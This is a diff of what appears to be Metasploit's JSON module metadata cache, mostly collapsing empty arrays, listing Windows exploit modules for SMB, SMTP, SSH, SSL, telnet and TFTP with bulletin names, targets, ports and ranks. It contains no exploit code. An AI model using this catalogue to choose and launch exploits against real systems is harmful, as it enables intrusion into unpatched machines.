@@ -193793,9 +172100,7 @@ "RelatedModules": [ "exploit/windows/local/cve_2020_0796_smbghost" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -193803,9 +172108,7 @@ "exploit_windows/smb/generic_smb_dll_injection": { "name": "Generic DLL Injection From Shared Resource", "fullname": "exploit/windows/smb/generic_smb_dll_injection", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-03-04", "type": "exploit", @@ -193819,12 +172122,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -193836,17 +172135,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/group_policy_startup": { "name": "Group Policy Script Execution From Shared Resource", "fullname": "exploit/windows/smb/group_policy_startup", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-01-26", "type": "exploit", @@ -193862,12 +172158,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -193890,9 +172182,7 @@ "exploit_windows/smb/ipass_pipe_exec": { "name": "IPass Control Pipe Remote Command Execution", "fullname": "exploit/windows/smb/ipass_pipe_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-01-21", "type": "exploit", @@ -193929,17 +172219,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms03_049_netapi": { "name": "MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow", "fullname": "exploit/windows/smb/ms03_049_netapi", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-11-11", "type": "exploit", @@ -193974,17 +172261,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms04_007_killbill": { "name": "MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow", "fullname": "exploit/windows/smb/ms04_007_killbill", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2004-02-10", "type": "exploit", @@ -194037,9 +172321,7 @@ "exploit_windows/smb/ms04_011_lsass": { "name": "MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow", "fullname": "exploit/windows/smb/ms04_011_lsass", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-04-13", "type": "exploit", @@ -194076,17 +172358,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms04_031_netdde": { "name": "MS04-031 Microsoft NetDDE Service Overflow", "fullname": "exploit/windows/smb/ms04_031_netdde", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-10-12", "type": "exploit", @@ -194121,17 +172400,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms05_039_pnp": { "name": "MS05-039 Microsoft Plug and Play Service Overflow", "fullname": "exploit/windows/smb/ms05_039_pnp", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-08-09", "type": "exploit", @@ -194176,17 +172452,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms06_025_rasmans_reg": { "name": "MS06-025 Microsoft RRAS Service RASMAN Registry Overflow", "fullname": "exploit/windows/smb/ms06_025_rasmans_reg", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-06-13", "type": "exploit", @@ -194222,17 +172495,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms06_025_rras": { "name": "MS06-025 Microsoft RRAS Service Overflow", "fullname": "exploit/windows/smb/ms06_025_rras", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-06-13", "type": "exploit", @@ -194270,17 +172540,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms06_040_netapi": { "name": "MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow", "fullname": "exploit/windows/smb/ms06_040_netapi", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-08-08", "type": "exploit", @@ -194335,9 +172602,7 @@ "exploit_windows/smb/ms06_066_nwapi": { "name": "MS06-066 Microsoft Services nwapi32.dll Module Exploit", "fullname": "exploit/windows/smb/ms06_066_nwapi", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-11-14", "type": "exploit", @@ -194372,17 +172637,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms06_066_nwwks": { "name": "MS06-066 Microsoft Services nwwks.dll Module Exploit", "fullname": "exploit/windows/smb/ms06_066_nwwks", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-11-14", "type": "exploit", @@ -194417,17 +172679,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms06_070_wkssvc": { "name": "MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow", "fullname": "exploit/windows/smb/ms06_070_wkssvc", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2006-11-14", "type": "exploit", @@ -194464,17 +172723,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms07_029_msdns_zonename": { "name": "MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)", "fullname": "exploit/windows/smb/ms07_029_msdns_zonename", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2007-04-12", "type": "exploit", @@ -194532,17 +172788,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms08_067_netapi": { "name": "MS08-067 Microsoft Server Service Relative Path Stack Corruption", "fullname": "exploit/windows/smb/ms08_067_netapi", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-10-28", "type": "exploit", @@ -194661,17 +172914,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms09_050_smb2_negotiate_func_index": { "name": "MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference", "fullname": "exploit/windows/smb/ms09_050_smb2_negotiate_func_index", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-09-07", "type": "exploit", @@ -194709,17 +172959,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms10_046_shortcut_icon_dllloader": { "name": "Microsoft Windows Shell LNK Code Execution", "fullname": "exploit/windows/smb/ms10_046_shortcut_icon_dllloader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-07-16", "type": "exploit", @@ -194738,12 +172985,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -194754,17 +172997,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms10_061_spoolss": { "name": "MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability", "fullname": "exploit/windows/smb/ms10_061_spoolss", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-09-14", "type": "exploit", @@ -194799,17 +173039,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/ms15_020_shortcut_icon_dllloader": { "name": "Microsoft Windows Shell LNK Code Execution", "fullname": "exploit/windows/smb/ms15_020_shortcut_icon_dllloader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-10", "type": "exploit", @@ -194827,12 +173064,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -194843,8 +173076,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, @@ -194886,12 +173118,8 @@ "platform": "Windows", "arch": "x64", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target", "Windows 7", @@ -194921,9 +173149,7 @@ "exploit_windows/smb/ms17_010_psexec": { "name": "MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution", "fullname": "exploit/windows/smb/ms17_010_psexec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-14", "type": "exploit", @@ -194981,9 +173207,7 @@ "exploit_windows/smb/netidentity_xtierrpcpipe": { "name": "Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow", "fullname": "exploit/windows/smb/netidentity_xtierrpcpipe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-04-06", "type": "exploit", @@ -195019,17 +173243,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/psexec": { "name": "Microsoft Windows Authenticated User Code Execution", "fullname": "exploit/windows/smb/psexec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "1999-01-01", "type": "exploit", @@ -195071,22 +173292,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/smb/smb_delivery": { "name": "SMB Delivery", "fullname": "exploit/windows/smb/smb_delivery", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-07-26", "type": "exploit", @@ -195101,12 +173317,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DLL", "PSH" @@ -195118,8 +173330,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, @@ -195192,9 +173403,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -195202,9 +173411,7 @@ "exploit_windows/smb/smb_relay": { "name": "MS08-068 Microsoft Windows SMB Relay Code Execution", "fullname": "exploit/windows/smb/smb_relay", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2001-03-31", "type": "exploit", @@ -195242,11 +173449,11 @@ "MOF upload", "Command" ], - "mod_time": "2024-10-23 11:17:22 +0000", + "mod_time": "2024-11-12 09:14:51 +0000", "path": "/modules/exploits/windows/smb/smb_relay.rb", "is_install_path": true, "ref_name": "windows/smb/smb_relay", - "check": false, + "check": true, "post_auth": false, "default_credential": false, "notes": { @@ -195278,9 +173485,7 @@ "exploit_windows/smb/smb_rras_erraticgopher": { "name": "Microsoft Windows RRAS Service MIBEntryGet Overflow", "fullname": "exploit/windows/smb/smb_rras_erraticgopher", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2017-06-13", "type": "exploit", @@ -195353,9 +173558,7 @@ "exploit_windows/smb/smb_shadow": { "name": "Microsoft Windows SMB Direct Session Takeover", "fullname": "exploit/windows/smb/smb_shadow", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2021-02-16", "type": "exploit", @@ -195369,12 +173572,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -195403,9 +173602,7 @@ "exploit_windows/smb/timbuktu_plughntcommand_bof": { "name": "Timbuktu PlughNTCommand Named Pipe Buffer Overflow", "fullname": "exploit/windows/smb/timbuktu_plughntcommand_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-06-25", "type": "exploit", @@ -195440,17 +173637,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/webexec": { "name": "WebExec Authenticated User Code Execution", "fullname": "exploit/windows/smb/webexec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-10-24", "type": "exploit", @@ -195484,17 +173678,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smtp/mailcarrier_smtp_ehlo": { "name": "TABS MailCarrier v2.51 SMTP EHLO Overflow", "fullname": "exploit/windows/smtp/mailcarrier_smtp_ehlo", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-10-26", "type": "exploit", @@ -195511,12 +173702,8 @@ "platform": "Windows", "arch": "x86", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0 - XP SP1 - EN/FR/GR", "Windows XP SP2 - EN" @@ -195528,17 +173715,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smtp/mercury_cram_md5": { "name": "Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow", "fullname": "exploit/windows/smtp/mercury_cram_md5", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-08-18", "type": "exploit", @@ -195554,12 +173738,8 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mercury Mail Transport System 4.51" ], @@ -195570,17 +173750,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smtp/ms03_046_exchange2000_xexch50": { "name": "MS03-046 Exchange 2000 XEXCH50 Heap Overflow", "fullname": "exploit/windows/smtp/ms03_046_exchange2000_xexch50", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-10-15", "type": "exploit", @@ -195599,12 +173776,8 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Exchange 2000" ], @@ -195615,17 +173788,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smtp/njstar_smtp_bof": { "name": "NJStar Communicator 3.00 MiniSMTP Buffer Overflow", "fullname": "exploit/windows/smtp/njstar_smtp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-10-31", "type": "exploit", @@ -195642,12 +173812,8 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/SP3", "Windows Server 2003 SP0", @@ -195660,17 +173826,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smtp/sysgauge_client_bof": { "name": "SysGauge SMTP Validation Buffer Overflow", "fullname": "exploit/windows/smtp/sysgauge_client_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-02-28", "type": "exploit", @@ -195686,12 +173849,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -195702,17 +173861,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smtp/wmailserver": { "name": "SoftiaCom WMailserver 1.0 Buffer Overflow", "fullname": "exploit/windows/smtp/wmailserver", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-07-11", "type": "exploit", @@ -195728,12 +173884,8 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All", "Windows XP Pro SP0/SP1 English" @@ -195745,17 +173897,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smtp/ypops_overflow1": { "name": "YPOPS 0.6 Buffer Overflow", "fullname": "exploit/windows/smtp/ypops_overflow1", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-09-27", "type": "exploit", @@ -195806,17 +173955,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ssh/freeftpd_key_exchange": { "name": "FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow", "fullname": "exploit/windows/ssh/freeftpd_key_exchange", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-05-12", "type": "exploit", @@ -195832,12 +173978,8 @@ "platform": "Windows", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English", "Windows 2000 SP0-SP4 German", @@ -195851,17 +173993,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ssh/freesshd_authbypass": { "name": "Freesshd Authentication Bypass", "fullname": "exploit/windows/ssh/freesshd_authbypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-08-11", "type": "exploit", @@ -195882,12 +174021,8 @@ "platform": "Windows", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PowerShell", "CmdStager upload" @@ -195899,17 +174034,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ssh/freesshd_key_exchange": { "name": "FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow", "fullname": "exploit/windows/ssh/freesshd_key_exchange", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-05-12", "type": "exploit", @@ -195925,12 +174057,8 @@ "platform": "Windows", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English", "Windows XP Pro SP0 English", @@ -195943,17 +174071,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ssh/putty_msg_debug": { "name": "PuTTY Buffer Overflow", "fullname": "exploit/windows/ssh/putty_msg_debug", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2002-12-16", "type": "exploit", @@ -195970,12 +174095,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English", "Windows XP SP2 English", @@ -195988,17 +174109,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ssh/securecrt_ssh1": { "name": "SecureCRT SSH1 Buffer Overflow", "fullname": "exploit/windows/ssh/securecrt_ssh1", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2002-07-23", "type": "exploit", @@ -196014,12 +174132,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SecureCRT.exe (3.4.4)" ], @@ -196030,17 +174144,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ssh/sysax_ssh_username": { "name": "Sysax 5.53 SSH Username Buffer Overflow", "fullname": "exploit/windows/ssh/sysax_ssh_username", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-27", "type": "exploit", @@ -196057,12 +174168,8 @@ "platform": "Windows", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sysax 5.53 on Win XP SP3 / Win2k3 SP0", "Sysax 5.53 on Win2K3 SP1/SP2" @@ -196074,17 +174181,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ssl/ms04_011_pct": { "name": "MS04-011 Microsoft Private Communications Transport Overflow", "fullname": "exploit/windows/ssl/ms04_011_pct", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-04-13", "type": "exploit", @@ -196101,12 +174205,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4", "Windows 2000 SP3", @@ -196123,17 +174223,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/telnet/gamsoft_telsrv_username": { "name": "GAMSoft TelSrv 1.5 Username Buffer Overflow", "fullname": "exploit/windows/telnet/gamsoft_telsrv_username", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2000-07-17", "type": "exploit", @@ -196150,12 +174247,8 @@ "platform": "Windows", "arch": "x86", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP0/4 English REMOTE", "Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)", @@ -196168,17 +174261,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/telnet/goodtech_telnet": { "name": "GoodTech Telnet Server Buffer Overflow", "fullname": "exploit/windows/telnet/goodtech_telnet", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-03-15", "type": "exploit", @@ -196194,12 +174284,8 @@ "platform": "Windows", "arch": "", "rport": 2380, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All", "Windows XP Pro SP0/SP1 English" @@ -196211,17 +174297,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/attftp_long_filename": { "name": "Allied Telesyn TFTP Server 1.9 Long Filename Overflow", "fullname": "exploit/windows/tftp/attftp_long_filename", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-11-27", "type": "exploit", @@ -196238,12 +174321,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows NT SP4 English", @@ -196265,17 +174344,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/distinct_tftp_traversal": { "name": "Distinct TFTP 3.10 Writable Directory Traversal Execution", "fullname": "exploit/windows/tftp/distinct_tftp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-04-08", "type": "exploit", @@ -196293,12 +174369,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -196309,17 +174381,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/tftp/dlink_long_filename": { "name": "D-Link TFTP 1.0 Long Filename Buffer Overflow", "fullname": "exploit/windows/tftp/dlink_long_filename", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-03-12", "type": "exploit", @@ -196336,12 +174405,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English", "Windows 2000 SP3 English" @@ -196353,17 +174418,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/futuresoft_transfermode": { "name": "FutureSoft TFTP Server 2000 Transfer-Mode Overflow", "fullname": "exploit/windows/tftp/futuresoft_transfermode", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-05-31", "type": "exploit", @@ -196379,12 +174441,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 Pro English ALL", @@ -196399,17 +174457,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/netdecision_tftp_traversal": { "name": "NetDecision 4.2 TFTP Writable Directory Traversal Execution", "fullname": "exploit/windows/tftp/netdecision_tftp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-05-16", "type": "exploit", @@ -196426,12 +174481,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "NetDecision 4.2 TFTP on Windows XP SP3 / Windows 2003 SP2" ], @@ -196442,17 +174493,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/opentftp_error_code": { "name": "OpenTFTP SP 1.4 Error Packet Overflow", "fullname": "exploit/windows/tftp/opentftp_error_code", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-07-05", "type": "exploit", @@ -196470,12 +174518,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OpenTFTP 1.4 Service", "OpenTFTP 1.4 Stand Alone" @@ -196487,17 +174531,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/quick_tftp_pro_mode": { "name": "Quick FTP Pro 2.1 Transfer-Mode Overflow", "fullname": "exploit/windows/tftp/quick_tftp_pro_mode", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-03-27", "type": "exploit", @@ -196514,12 +174555,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Server 2000", "Windows XP SP2" @@ -196531,17 +174568,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/tftpd32_long_filename": { "name": "TFTPD32 Long Filename Buffer Overflow", "fullname": "exploit/windows/tftp/tftpd32_long_filename", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2002-11-19", "type": "exploit", @@ -196557,12 +174591,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows NT 4.0 SP6a English", @@ -196577,17 +174607,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/tftpdwin_long_filename": { "name": "TFTPDWIN v0.4.2 Long Filename Buffer Overflow", "fullname": "exploit/windows/tftp/tftpdwin_long_filename", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-09-21", "type": "exploit", @@ -196604,12 +174631,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal - tftpd.exe" ], @@ -196620,17 +174643,14 